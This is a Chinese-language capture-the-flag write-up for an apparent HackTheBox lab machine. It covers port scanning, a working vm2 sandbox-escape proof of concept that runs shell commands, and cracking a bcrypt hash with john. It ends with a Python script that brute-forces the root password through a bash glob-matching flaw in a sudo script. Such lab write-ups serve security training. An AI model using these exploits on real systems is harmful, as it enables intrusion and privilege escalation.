首先nmap扫描端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.239
扫出来三个端口,22端口为ssh服务,80端口有http服务,3000端口为nodejs框架
尝试访问下80端口,发现页面重定向
将该域名添加到hosts里
sudo vim /etc/hosts
成功访问
发现提供的代码编辑器是vm2沙箱,搜了下相关文章发现存在漏洞
poc如下(参考链接)
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
成功命令执行
修改一下,直接反弹shell
我们查看下用户信息
cat /etc/passwd
当前用户svc,那么我们可以利用的应该就是joshua
我们在/var/www/contact
目录下发现个文件tickets.db
我们用strings命令看一下
得到信息为sqlite数据库,还有用户joshua的密码哈希值
用hashid看下是什么加密,发现是bcrypt
那么使用工具john的参数–format去爆破
john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt
得到密码
然后切换下用户joshua
提升交互权限,得到user的flag
查看下有什么可以利用的命令
sudo -l
strings命令查看下具体内容
我们看向关键代码
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
靶机会将我们提交的密码与数据库的密码进行比对,比对成功与否对应不同回显,关键点在于比对是弱等于,也就是说这里的漏洞是由于 Bash 中 [[ ]]内部使用了 == ,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含像 * 或 ? 这样的全局字符,它可能会匹配意外的字符串。
直接盲注,脚本如下
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
# password = kljh12k3jhaskjh12kjh3
用scp命令复制到靶机
成功上传
运行一下得到root密码
切换成root得到flag